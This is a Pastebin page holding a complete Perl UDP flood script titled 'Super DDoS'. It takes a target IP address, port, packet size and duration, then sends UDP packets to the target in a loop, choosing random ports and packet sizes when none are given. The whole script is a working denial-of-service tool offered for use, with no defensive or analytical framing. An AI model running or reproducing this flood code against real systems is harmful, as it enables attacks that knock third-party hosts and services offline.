Advertisement
Guest User

Script DDoS Perl (English)

a guest
Dec 16th, 2012
6,421
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.14 KB | None | 0 0
  1. #!/usr/bin/perl
  2.  
  3. ##############
  4. # udp flood.
  5. ##############
  6.  
  7. use Socket;
  8. use strict;
  9.  
  10. if ($#ARGV != 3) {
  11. print " \n";
  12. print " Super DDoS // by Adrien\n\n";
  13. print " * Order: flood.pl <IP-address> <Port> <Packets> <Time (In seconds)>\n";
  14. print " - * Port: Port to flood. Set to 0 for all.\n";
  15. print " - * Packets: The number of packets to send. Between 64 and 1024.\n";
  16. print " - * Time: Flood time in seconds.\n";
  17. exit(1);
  18. }
  19.  
  20. my ($ip,$port,$size,$time) = @ARGV;
  21.  
  22. my ($iaddr,$endtime,$psize,$pport);
  23.  
  24. $iaddr = inet_aton("$ip") or die "Unable to connect to $ip\n";
  25. $endtime = time() + ($time ? $time : 1000000);
  26.  
  27. socket(flood, PF_INET, SOCK_DGRAM, 17);
  28.  
  29.  
  30. print "Flooding in ongoing $ip with the port " . ($port ? $port : "random") . ", sends to " .
  31. ($size ? "$size-byte" : "random size") . " packets" .
  32. ($time ? " for $time seconds" : "") . "\n";
  33. print "Attack stopped with Ctrl-C\n" unless $time;
  34.  
  35. for (;time() <= $endtime;) {
  36. $psize = $size ? $size : int(rand(1500-64)+64) ;
  37. $pport = $port ? $port : int(rand(65500))+1;
  38.  
  39. send(flood, pack("a$psize","flood"), 0, pack_sockaddr_in($pport, $iaddr));}
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement